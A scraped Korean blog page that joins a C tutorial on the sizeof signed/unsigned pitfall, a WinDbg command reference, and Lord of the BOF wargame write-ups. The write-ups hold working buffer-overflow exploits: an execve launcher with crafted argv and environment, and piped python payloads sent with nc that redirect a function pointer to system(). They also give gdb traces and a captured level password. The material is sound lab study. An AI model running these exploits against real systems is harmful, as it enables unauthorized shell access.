http://sckllo7.tistory.com/entry/sizeof-%EC%97%B0%EC%82%B0%EC%9D%98-%ED%95%A8%EC%A0%95




C에서 sizeof는 해당 변수 혹은 자료형의 크기를 알아 보고자 할때 쓰이며 동적 메모리 할당인 malloc을 비롯한 여러 함수와 복합적으로 사용할 경우가 적지 않게 있습니다. 그러나 이 sizeof 를 쓸 경우에는 주의해야 할 점이 있습니다.


 일단 문제 하나를 풀어 보겠습니다.

다음 소스를 실행 시키면 어떠한 결과값이 출력 될까요?


#include<stdio.h>


int main()

{

        int a = -1;


        if (sizeof(a) > a)

                printf ("sizeof(a) > a\n");

        else

                printf ("sizeof(a) < a\n");


        return 0;



 아마 sizeof(a) > a 가 출력 될 것이라는 의견이 적지 않을 것입니다.

한번 실행을 시켜 보겠습니다.



 sizeof(a) 를 하면 a가 int형여고, int형의 크기가 4byte이기에 sizeof(a)의 값은 4이고, 그냥 a는 -1 이니, sizeof(a) > a 의 조건은 4 > -1 이 되서 참인 조건 이므로 sizeof(a) > a 가 출력되야 하는데 sizeof(a) < a가 출력이 됩니다.

 왜 이런 현상이 벌어지는 걸까요?

한번 sizeof(a)와 a의 값을 출력하는 printf 문을 넣어 컴파일해 보겠습니다.


#include<stdio.h>


int main()

{

        int a = -1;


        printf ("sizeof(a) = %d\n", sizeof(a));        // 추가된 부분

        printf ("a = %d\n", a);                                   // 추가된 부분


        if (sizeof(a) > a)

                printf ("sizeof(a) > a\n");

        else

                printf ("sizeof(a) < a\n");


        return 0;


그리고 컴파일을 하면, 다음과 같이 Warning이 뜨게 됩니다.



 위에서 7번째 줄 포맷 지정자가 %d이면 int형인데 인자의 자료형은 long unsigned int 라고 나옵니다.

즉, sizeof의 반환형은 단순한 int형가 아닌 long unsigned int형이라는 말이며, sizeof(a) > a 이 비교는 같은 자료형의 비교가 아니라는 말입니다.


 다른 예를 들어 보겠습니다.


#include<stdio.h>


int main()

{

        int a = -1;

        unsigned int b = 4;


        if (b > a)

                printf ("unsigned int b > int a\n");

        else

                printf ("unsigned int b < int a\n");


        return 0;


 이것을 실행시키면 어떤 결과값이 나올까요?



 부호없는 int형을 나타낸 unsigned int와 같은 경우에는 양수만을 표시 한다는 것은 다들 아실겁니다.

그런데 C언어는 특성상 다른 자료형을 비교하거나 연산 하게 될 경우에는 두개의 피연산자 중에 큰 자료형을 가진 피연산자 기준으로 나머지 피연산자가 거기에 맞게 임시로 형 변환이 일어나게 됩니다.

 혹여나 이해가 안되시는 분들을 위하여 아래의 소스를 컴파일 해보겠습니다.


#include<stdio.h>


int main()

{

        int a = 10;

        double b = 5.3;


        printf ("a + b = %d\n", a + b);


        return 0;


 이렇게 컴파일을 하게 될 경우,



 위와 마찬가지로 포맷 지정자가 %d이면 int형인데 인자의 자료형은 double이라고 명백히 나와 있습니다. 위에서 설명한 대로 서로 다른 자료형의 두개의 피 연산자가 연산이나 비교를 하게되면 큰 피연산자 기준으로 다른 피연산자의 자료형이 임시로 바뀌는 것을 볼 수 있습니다.

 즉, 다시 원점으로 둘아가면 int형의 크기는 4byte로써 제일 앞 비트는 부호 비트로 사용되어 -2^31 ~ 2^31 - 1 의 범위의 숫자를 표현이 가능 합니다. 그러나 unsigned int형과 같은 경우에는 제일 앞 비트를 부호 비트로 사용하지 않으므로 0 ~ 2^32 - 1 의 범위까지 표현이 가능 합니다.

 ※ 아마 sizeof 의 연산된 값이 unsigned가 붙는 이유는 자료형의 크기가 0 미만일 경우가 없기 때문 인 것 같습니다.

그러므로 실질적으로 int 보다 unsigned int 가 더 큰 값을 표현 할 수 있기에 if문 안에서 int형과 unsigned int형의 비교가 이루어 질때unsigned int 기준으로 int형이 임시로 unsigned int 형으로 변경이 되나 a의 값이 -1이기에 내부에서 값은 그래도이나 강제형 변환이 일어나 unsigned int의 최고 값인 4294967295 (2^32 - 1 ) 으로 바뀌므로 소스에서는 sizeof(a) > a 가 4 > -1 로 비교 되는 것이 아니라 4 > 4294967295 로 연산이 되기에 해당 비교문이 거짓으로 나오게 되며, 결론적으로는 sizeof(a) < a 가 출력이 되게 되는 겁니다.

'미분류' 카테고리의 다른 글

windbg 명령어 모음  (0) 2016.01.12
python exploit 연습용  (0) 2015.11.27
codegate vuln - 300  (0) 2015.11.27
PEDA 튜토리얼  (0) 2015.11.27
LOB fedora  (0) 2015.11.09

[출처] http://darpangs.tistory.com/entry/WinDbg-%EB%AA%85%EB%A0%B9%EC%96%B4-%EC%A0%95%EB%A6%AC-1


 

WinDbg 에는 3 종류의 명령어가 있다.

  1. 일반 명령 : 일반적으로 사용하는 디버깅에 관련된 명령어 들이다. 브레이크 설정(bp), 타겟 제어(p,g) 등등
  2. 메타 명령 : 디버거에 관련된 명령이다. 명령어 앞에 . 이 붙는다. 디버깅 심벌 경로 설정 (.sympath ), 모듈 심벌 로드 (.reload ) 등등
  3. 확장 명령 : 외부 dll 로 제작된 명령이다(일종의 플러그인 ). 명령어 앞에 ! 이 붙는다. 예외상황분석( !analyze –v ) , 프로세스 구조체 보기 ( !peb ) 등등

 

구분

명령어

설명

예제

도움말 보기

.hh

도움말을 연다.

.hh .reload

// .reload 명령어에 관한 도움말을 열어본다

 

경로 설정

.sympath

디버깅 심벌 위치 디렉토리 설정

.sympath+ d:\work\bin

.srcpath

소스 파일 위치 디렉토리 설정

.srcpath+ d:\work\src

.symfix

웹 디버깅 심벌 서버 설정.

.symfix+ c:\symbols

디버깅 심벌 로딩하기

.reload

디버깅 심벌을 로드한다.

( 이 명령어는 디버깅 심벌을 준비해놓는다고 보면 될거 같다. 기본적으로 WinDbg 는 deferred symbol loading 을 수행하는데, 당장 쓰이지 않으면 디버깅 심벌을 로딩해 놓지 않는다. )

주의사항은 확장자를 붙여야 한다는것.

.reload darpangs.sys

// 디버깅 심벌 로드

 

.reload /u darpangs.sys

// 디버깅 심벌 언로드

 

.reload /i darpangs.sys

// 디버깅 심벌 강제 로드

ld

디버깅 심벌을 로드한다.

( deferred loading 된 디버깅 심벌들을 실제로 로딩한다. )

주의사항은 확장자 없이 사용한다는 것

ld darpangs

로딩된 모듈 및 디버깅 심벌 보기

lm

List Loaded Modules

현재 로딩 되어 있는 모듈들을 본다.

lmm *darpangs*

// darpangs 글자가 들어간 모듈 나열

 

lmv

// 상세 정보 표시

 

lml

// 디버깅 심벌이 로딩된 모듈만 표시.

쓰레드 보기

~

쓰레드 정보를 본다.

~*

// 모든 쓰레드를 표시한다.

 

~5

// 5번 쓰레드를 표시한다.

 

~1s

// 1번 쓰레드를 현재 쓰레드로 설정한다.

 

~#

// 예외를 일으킨 쓰레드를 본다.

스택 보기

k

현재 쓰레드의 스택을 본다.

kb

// 스택 상황을 파라미터와 함께 본다.

 

kn

// 스택 프레임 번호를 함께 본다.

 

kf

// 스택 프레임 간격을 함께 본다. 이 기능은 로컬 스택의 크기를 알 수 있다.

심벌 보기

x

특정 모듈의 심벌을 본다.

x ntdll!*create*

// ntdll 의 심벌(변수나 함수)중 create 이라는 단어가 들어간 것을 표시한다.

자료 구조 보기

dt

데이터 타잎을 본다.

디버깅 심벌이 로딩되어 있을 경우, 구조체의 정보를 보여준다.

dt ntdll!*list*

// ntdll 의 구조체 중 list 단어가 들어간 것을 모두 보여준다.

 

dt ntdll!_LIST_ENTRY

// ntdll 의 구조체 중 _LIST_ENTRY 구조체의 구성을 보여준다.

 

dt ntdll!_LIST_ENTRY 0x12345678

// 0x12345678 메모리의 데이터를 _LIST_ENTRY 구조체로 맞추어서 보여준다.

 

dt ntdll!_LIST_ENTRY 0x12345678 –r2

// 구조체 내부에 또 다른 구조체가 있을 경우, 해당 구조체의 내용도 표시해준다. 2단계까지 내용을 표시한다.

메모리 보기

d

메모리의 값을 각 형태에 맞게 본다.

 

dd

 

dd 0x12345678

// 0x12345678 메모리의 데이터를 Double Word 형태로 출력한다.

db

 

db 0x12345678

// 0x12345687 메모리의 데이터를 Byte 단위 및 ASCII 문자 형태로 출력한다.

du

 

du 0x12345678

// 유니코드 형태로 출력한다.

브레이브 포인트

bp

브레이크 포인트 설정

bp ntdll!NtCreateFile

// ntdll.dll 의 NtCreateFile 함수에 브레이크 포인트를 건다.

bu

브레이크 포인트 설정 ( 심벌 이름으로 )

bu ntdll!NtCreateFile

// ntdll.dll 의 NtCreateFile 함수에 브레이크 포인트를 건다.

아직 로딩되지 않은 모듈에 브레이크 포인트를 설정할 수 있으며, 모듈이 언로드 되거나 WinDbg 가 종료되더라도 브레이크 포인트 설정이 계속 유지된다.

bl

브레이크 포인트 리스트 보기

bl

bc

브레이크 포인트 모두 제거

bc

bd

브레이크 포인트 비활성화

bd 5

// 5번 브레이크 포인트 비활성화

be

브레이크 포인트 활성화

be 1-4

// 1번부터 4번까지의 브레이크 포인트 활성화

ba

메모리 브레이크 포인트 설정

ba w4 0x12345678

// 0x12345678 주소가 Writing 되는 시점에 브레이크가 걸린다.

 

ba r4 0x12345678

// 0x12345678 주소가 Reading 되는 시점에 브레이크가 걸린다.

브레이크

실행 제어

 

( .hh Controlling the Target )

F9 키 ( bp )

현재 src 창이나 disassembly 창의 라인에 브레이크 포인트 설정

Visual Studio 와 동일

F10 키 ( p )

src 나 disassembly 의 한라인 실행

Visual Studio 와 동일

F11 키 ( t )

함수호출 시, 함수 내부 추적.

Visual Studio 와 동일

Shift + F11 키 ( gu )

현재 함수 종료까지 실행

Visual Studio 와 동일

   
   

오류 분석

!analyze

현재 예외 상황의 원인을 분석한다.

!analyze -v



'미분류' 카테고리의 다른 글

sizeof 연산의 함정  (0) 2016.01.12
python exploit 연습용  (0) 2015.11.27
codegate vuln - 300  (0) 2015.11.27
PEDA 튜토리얼  (0) 2015.11.27
LOB fedora  (0) 2015.11.09

[출처]http://www.codeengn.com/archive/Reverse%20Engineering/Buffer%20Overflow/Smashing%20the%20stack%20%5B%EC%B5%9C%EC%9E%AC%EC%98%81%5D.pdf


/*

The Lord of the BOF : The Fellowship of the BOF 

- balog

- Local BOF on Fedora Core 10 

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <string.h>


int main(int argc, char *argv[])

{

        char buffer[256];

        if(argc != 2)

        {

                printf("argc Error!!\n");

                exit(-1);

        }


// overflow!!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        return 0; 

}



소스코드를 보면 strcpy로 입력 값을 buffer에 복사하고 printf로 출력한다.

달라진 점은 fedora core 5 이후 환경에서는 프롤로그와 에필로그이다.





(gdb) disas main               


//프롤로그


Dump of assembler code for function main:

0x08048414 <main+0>: lea    ecx,[esp+0x4]

0x08048418 <main+4>: and    esp,0xfffffff0

0x0804841b <main+7>: push   DWORD PTR [ecx-0x4]

0x0804841e <main+10>: push   ebp

0x0804841f <main+11>: mov    ebp,esp

0x08048421 <main+13>: push   ecx




//에필로그

0x0804848a <main+118>: pop    ecx
0x0804848b <main+119>: pop    ebp
0x0804848c <main+120>: lea    esp,[ecx-0x4]
0x0804848f <main+123>: ret   








 스택을 보면 위 그림과 같다.

에필로그 할 때는 lea esp,[ecx-4] 로 esp를 RET주소에 옮기고 ret한다.




위와 같은 프롤로그와 에필로그를 하게 되면 오버플로우를 통해 ret 영역을 변경하기가 쉽지 않다.

이유는 ASLR이 걸려있어 ecx를 정확히 알아내기 어렵기 때문이다.








위 그림은 스택구조이다. (왼쪽 공격 전, 오른쪽 공격 후 )


이 문제를 exploit 하기 위해서는 buffer 마지막 4바이트를 제외하고 나머지는 ret가젯 주소로 overwriting 한다.

그리고 마지막 4바이트는 main+112를 채워준다. 이렇게 buffer에 256바이트를 전부 채우면 ecx에 1바이트 0x00이 덮어씌워지게 된다.

그러면 ecx가 낮은 주소 방향을 가리킬 것이고,  에필로그를  통해 buffer쪽 ret가젯이 실행되면서 ret sled할 것이다.


마지막 4바이트는 다음과 같다.

0x08048484 <main+112>: add    esp,0x114

0x0804848a <main+118>: pop    ecx

0x0804848b <main+119>: pop    ebp

0x0804848c <main+120>: lea    esp,[ecx-0x4]

0x0804848f <main+123>: ret  



esp 는 환경변수가 위치한 영역을 가리키게 될 것이고 segmentation fault가 뜰 것이다.





#include <stdlib.h>


int main()

{

char *environ[] = {

"E1",

"E2",

"E3",

"E4",

"E5",

"E6",

"E7",

"E8",

"E9",

"E10",

"E11",

"E12",

"E12",

"E13",

"E14",

"E15",

"E16",

"E17",

"E18",

"E19",

"E20",

"E21",

"E22",

"E23",

"E24",

"E25",

"E26",

"E27"

"E28",

"E29",

"E30",

0};


char *argv[] = {"./balo3","\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x84\x84\x04\x08", 0};


execve("./balo3", argv, environ);

}





컴파일하고 실행시켜주면 에러가 난다. 코어파일을 보면


[titan@Fedora_3rdFloor ~]$ gdb -c core.21633 

.

.

.

Program terminated with signal 11, Segmentation fault.

[New process 21633]

#0  0x00353262 in ?? ()

(gdb) x/s $esp

0xbfc17fe1: "E26"



현재 E25에서 리턴하려다가 에러난 것이기 때문에 아래와 같이 구성해주면 된다.

E24 | execl | E26 | &sh | &sh | NULL | ...




함수주소

execl = 0x2f6ac0 

&/bin/sh = 0x396db5

&sh = 0x396db5+5 = 0x396dba


홈디렉터리에서 권한 상 쉘을 씌울 수 없기 때문에 /tmp에 sh 파일을 만들어준다.




#include <stdlib.h>


int main()

{

char *environ[] = {

"E1",

"E2",

"E3",

"E4",

"E5",

"E6",

"E7",

"E8",

"E9",

"E10",

"E11",

"E12",

"E12",

"E13",

"E14",

"E15",

"E16",

"E17",

"E18",

"E19",

"E20",

"E21",

"E22",

"E23",

"E24",

"\xc0\x6a\x2f\x00",             // execl

"E26",    // dummy

"\xba\x6d\x39",    // sh

"\xba\x6d\x39",    // sh

"\x00","\x00","\x00","\x00", // NULL (이렇게 해주는 이유는 NULL을 "\x00\x00\x00\x00" 으로 하면 제대로 안들어감)

"E30",

0};


char *argv[] = {"./balo3","\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x84\x84\x04\x08", 0};


execve("./balo3", argv, environ);

}




그리고 홈디렉토리 balog 파일을 /tmp에 balo3으로 심볼릭 링크 걸어둔다.

다시 한번 말하지만 중요한 점은 홈디렉토리에 sh파일을 만들어주면 권한 상 실행이 안됨.

(홈디렉토리인 titan의 권한을 보면 titan 이외의 권한은 모두 0임. 그래서 balog가 sh을 실행할 수 없음)
























'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] enigma -> titan  (0) 2015.12.01
[Fedora4] cruel -> enigma  (0) 2015.11.29
[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23

/*

        The Lord of the BOF : The Fellowship of the BOF

        - titan

        - Remote BOF on Fedora Core 4

        - hint : ? 

- port : TCP 8888

*/


#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>


static char buffer[40];

static void (*ftn)();


void print()

{

        printf("nothing here\n");

fflush(stdout);

}


int main()

{

        char buf[48];

        ftn = print;


        printf("titan : What a tragic mistake.\n");

        printf("you : ");

        fflush(stdout);


// give me a food

        fgets(buf,48,stdin);


// buffer overflow!!

        strcpy(buffer,buf);


// preventing RTL

        if(((int)ftn & 0xff000000) == 0)

        {

                printf("I've an allergy to NULL");

                exit(1);

        }


// clearing buffer

memset(buffer, 0, 40);


        ftn();

}


소스코드를 살펴보면 지역변수 buf에 fgets함수를 이용하여 값을 입력한다.

그리고 strcpy함수로 전역변수 buffer에 복사하는데 이 때 오버플로우가 발생한다.

또 조건이 있는데 ftn함수는 라이브러리함수의 주소를 오버라이팅 시키면 안됨.

그 후 memset함수를 이용하여 전역변수 buffer를 40바이트 클리어 시켜준 후 ftn()를 호출한다.



여기서 오버플로우로 인해 ftn함수의 주소를 조작할 수 있다.

초기화 되지 않은 전역변수는 .bss영역에 있기 때문에 오버플로우가 제대로 됬는지 확인해보자.







(python -c 'print "A"*48';cat) | (python -c 'print "r"';cat) | (python -c 'print "b* main+171"';cat) | gdb -q 3itan 




<memset 한 후 .bss영역>






현재 할 수 있는 것은 전역변수를 오버플로우 시켜서 ftn함수의 주소를 바꾸는 것 뿐이다.

그 마저도 라이브러리함수를 사용하지 못하기 때문에 RTL 공격을 못한다.


도저히 어떻게 해야할지 모르겠어서 write up을 보았더니 

code reuse attack 을 이용하여 공략했다. code reuse attack은 해당 프로그램의 TEXT영역의 코드를 이용하여 프로그램의

흐름을 조작해 원하는 결과를 얻는 공격 방식이다.





ftn() 의 주소를 0x0804854a로 오버라이팅을 시켜서 흐름을 바꿔주었다.

그로인해 esp는 더 높은주소 방향을 향해 이동한다.

그리하여 다음과 같은 공격이 가능해진다.










[enigma@Fedora_2ndFloor ~]$ (python -c 'print "B"*8+"\xe7\xb0\x7d\x00"+"BBBB"+"\x87\xd9\x8b\x00"';cat)|(python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) |(python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) | (python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) | (python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) > aa



[enigma@Fedora_2ndFloor ~]$ gdb -q 3itan 
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) b* main+88
Breakpoint 1 at 0x804854d
(gdb) disp/5i $eip
(gdb) disp/28wx $esp
(gdb) r<aa
Starting program: /home/enigma/3itan <aa
Reading symbols from shared object read from target memory...(no debugging symbols found)...done.
Loaded system supplied DSO at 0xbc1000
(no debugging symbols found)
(no debugging symbols found)
titan : What a tragic mistake.
you : 
Breakpoint 1, 0x0804854d in main ()
2: x/28xw $esp
0xbffd0150: 0x00000000 0x00000000 0xbffd1c23 0x08048456
0xbffd0160: 0x00000000 0x080497a8 0xbffd0178 0x08048395
0xbffd0170: 0x008caff4 0x008cc360 0xbffd0198 0x080485de
0xbffd0180: 0x008caff4 0x00000001 0x00000000 0x008caff4
0xbffd0190: 0x007a2ca0 0x080485c4 0xbffd01f8 0x007bad7f
0xbffd01a0: 0x00000001 0xbffd0224 0xbffd022c 0xbffd01e0
0xbffd01b0: 0x00795898 0x007a3878 0xb7fd2690 0x00000001
1: x/5i $eip
0x804854d <main+88>: mov    0x80497e4,%eax
0x8048552 <main+93>: sub    $0x4,%esp
0x8048555 <main+96>: push   %eax
0x8048556 <main+97>: push   $0x30
0x8048558 <main+99>: lea    0xffffffcc(%ebp),%eax
(gdb) c
Continuing.

Breakpoint 1, 0x0804854d in main ()
2: x/28xw $esp
0xbffd015c: 0x08048456 0x00000000 0x41414141 0x41414141
0xbffd016c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd017c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd018c: 0x0804854a 0x007a000a 0x080485c4 0xbffd01f8
0xbffd019c: 0x007bad7f 0x00000001 0xbffd0224 0xbffd022c
0xbffd01ac: 0xbffd01e0 0x00795898 0x007a3878 0xb7fd2690
0xbffd01bc: 0x00000001 0x008caff4 0x007a2ca0 0x080485c4
1: x/5i $eip
0x804854d <main+88>: mov    0x80497e4,%eax
0x8048552 <main+93>: sub    $0x4,%esp
0x8048555 <main+96>: push   %eax
0x8048556 <main+97>: push   $0x30
0x8048558 <main+99>: lea    0xffffffcc(%ebp),%eax
(gdb) b* fgets+242  // fgets함수 ret부분
Breakpoint 2 at 0x7fb272
(gdb) c
Continuing.

Breakpoint 2, 0x007fb272 in fgets () from /lib/libc.so.6
2: x/28xw $esp
0xbffd0148: 0x08048561 0xbffd0164 0x00000030 0x008cb740
0xbffd0158: 0xbffd1c23 0x08048456 0x00000000 0x41414141
0xbffd0168: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0178: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0188: 0x41414141 0x0804854a 0x007a000a 0x080485c4
0xbffd0198: 0xbffd01f8 0x007bad7f 0x00000001 0xbffd0224
0xbffd01a8: 0xbffd022c 0xbffd01e0 0x00795898 0x007a3878
1: x/5i $eip
0x7fb272 <fgets+242>: ret    
0x7fb273 <fgets+243>: mov    (%edi),%edx
0x7fb275 <fgets+245>: test   $0x20,%dl
0x7fb278 <fgets+248>: jne    0x7fb2a6 <fgets+294>
0x7fb27a <fgets+250>: movb   $0x0,(%esi,%ecx,1)
(gdb) c
Continuing.

Breakpoint 1, 0x0804854d in main ()
2: x/28xw $esp
0xbffd0168: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0178: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0188: 0x41414141 0x0804854a 0x007a000a 0x080485c4
0xbffd0198: 0xbffd01f8 0x007bad7f 0x00000001 0xbffd0224
0xbffd01a8: 0xbffd022c 0xbffd01e0 0x00795898 0x007a3878
0xbffd01b8: 0xb7fd2690 0x00000001 0x008caff4 0x007a2ca0
0xbffd01c8: 0x080485c4 0xbffd01f8 0xbffd01a0 0x007bad44
1: x/5i $eip
0x804854d <main+88>: mov    0x80497e4,%eax
0x8048552 <main+93>: sub    $0x4,%esp
0x8048555 <main+96>: push   %eax
0x8048556 <main+97>: push   $0x30
0x8048558 <main+99>: lea    0xffffffcc(%ebp),%eax
(gdb) c
Continuing.

Breakpoint 2, 0x007fb272 in fgets () from /lib/libc.so.6
2: x/28xw $esp
0xbffd0154: 0x08048561 0xbffd0164 0x00000030 0x008cb740
0xbffd0164: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0174: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0184: 0x41414141 0x41414141 0x0804854a 0x007a000a
0xbffd0194: 0x080485c4 0xbffd01f8 0x007bad7f 0x00000001
0xbffd01a4: 0xbffd0224 0xbffd022c 0xbffd01e0 0x00795898
0xbffd01b4: 0x007a3878 0xb7fd2690 0x00000001 0x008caff4
1: x/5i $eip
0x7fb272 <fgets+242>: ret    
0x7fb273 <fgets+243>: mov    (%edi),%edx
0x7fb275 <fgets+245>: test   $0x20,%dl
0x7fb278 <fgets+248>: jne    0x7fb2a6 <fgets+294>
0x7fb27a <fgets+250>: movb   $0x0,(%esi,%ecx,1)
(gdb) c
Continuing.

Breakpoint 1, 0x0804854d in main ()
2: x/28xw $esp
0xbffd0174: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0184: 0x41414141 0x41414141 0x0804854a 0x007a000a
0xbffd0194: 0x080485c4 0xbffd01f8 0x007bad7f 0x00000001
0xbffd01a4: 0xbffd0224 0xbffd022c 0xbffd01e0 0x00795898
0xbffd01b4: 0x007a3878 0xb7fd2690 0x00000001 0x008caff4
0xbffd01c4: 0x007a2ca0 0x080485c4 0xbffd01f8 0xbffd01a0
0xbffd01d4: 0x007bad44 0x00000000 0x00000000 0x00000000
1: x/5i $eip
0x804854d <main+88>: mov    0x80497e4,%eax
0x8048552 <main+93>: sub    $0x4,%esp
0x8048555 <main+96>: push   %eax
0x8048556 <main+97>: push   $0x30
0x8048558 <main+99>: lea    0xffffffcc(%ebp),%eax
(gdb) c
Continuing.

Breakpoint 2, 0x007fb272 in fgets () from /lib/libc.so.6
2: x/28xw $esp
0xbffd0160: 0x08048561 0x41414141 0x41414141 0x41414141
0xbffd0170: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0180: 0x41414141 0x41414141 0x41414141 0x0804854a
0xbffd0190: 0x007a000a 0x080485c4 0xbffd01f8 0x007bad7f
0xbffd01a0: 0x00000001 0xbffd0224 0xbffd022c 0xbffd01e0
0xbffd01b0: 0x00795898 0x007a3878 0xb7fd2690 0x00000001
0xbffd01c0: 0x008caff4 0x007a2ca0 0x080485c4 0xbffd01f8
1: x/5i $eip
0x7fb272 <fgets+242>: ret    
0x7fb273 <fgets+243>: mov    (%edi),%edx
0x7fb275 <fgets+245>: test   $0x20,%dl
0x7fb278 <fgets+248>: jne    0x7fb2a6 <fgets+294>
0x7fb27a <fgets+250>: movb   $0x0,(%esi,%ecx,1)
(gdb) c
Continuing.

Breakpoint 1, 0x0804854d in main ()
2: x/28xw $esp
0xbffd0180: 0x41414141 0x41414141 0x41414141 0x0804854a
0xbffd0190: 0x007a000a 0x080485c4 0xbffd01f8 0x007bad7f
0xbffd01a0: 0x00000001 0xbffd0224 0xbffd022c 0xbffd01e0
0xbffd01b0: 0x00795898 0x007a3878 0xb7fd2690 0x00000001
0xbffd01c0: 0x008caff4 0x007a2ca0 0x080485c4 0xbffd01f8
0xbffd01d0: 0xbffd01a0 0x007bad44 0x00000000 0x00000000
0xbffd01e0: 0x00000000 0x0079ae60 0x0079613d 0x007a2fb4
1: x/5i $eip
0x804854d <main+88>: mov    0x80497e4,%eax
0x8048552 <main+93>: sub    $0x4,%esp
0x8048555 <main+96>: push   %eax
0x8048556 <main+97>: push   $0x30
0x8048558 <main+99>: lea    0xffffffcc(%ebp),%eax
(gdb) c
Continuing.

Breakpoint 2, 0x007fb272 in fgets () from /lib/libc.so.6
2: x/28xw $esp
0xbffd016c: 0x007db0e7 0x42424242 0x008bd987 0x008c000a
0xbffd017c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd018c: 0x0804854a 0x007a000a 0x080485c4 0xbffd01f8
0xbffd019c: 0x007bad7f 0x00000001 0xbffd0224 0xbffd022c
0xbffd01ac: 0xbffd01e0 0x00795898 0x007a3878 0xb7fd2690
0xbffd01bc: 0x00000001 0x008caff4 0x007a2ca0 0x080485c4
0xbffd01cc: 0xbffd01f8 0xbffd01a0 0x007bad44 0x00000000
1: x/5i $eip
0x7fb272 <fgets+242>: ret    // fgets함수의 ret과 main함수의 buf영역과 겹친다. 그래서 그 부분을 system함수 주소를 덮어씌워 공격함.
0x7fb273 <fgets+243>: mov    (%edi),%edx
0x7fb275 <fgets+245>: test   $0x20,%dl
0x7fb278 <fgets+248>: jne    0x7fb2a6 <fgets+294>
0x7fb27a <fgets+250>: movb   $0x0,(%esi,%ecx,1)
(gdb) x/i 0x007db0e7
0x7db0e7 <system>: push   %edi







The program is running.  Exit anyway? (y or n) y

[enigma@Fedora_2ndFloor ~]$ (python -c 'print "B"*8+"\xe7\xb0\x7d\x00"+"BBBB"+"\x87\xd9\x8b\x00"';cat)|(python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) |(python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) | (python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) | (python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) | nc localhost 8888

titan : What a tragic mistake.

you : id

uid=503(titan) gid=503(titan) context=system_u:system_r:inetd_t

my-pass

euid = 503

out of the night


[titan@Fedora_2ndFloor ~]$ cat dropped_item.txt 

                   ,.

                 ,'  `.

               ,' _<>_ `.

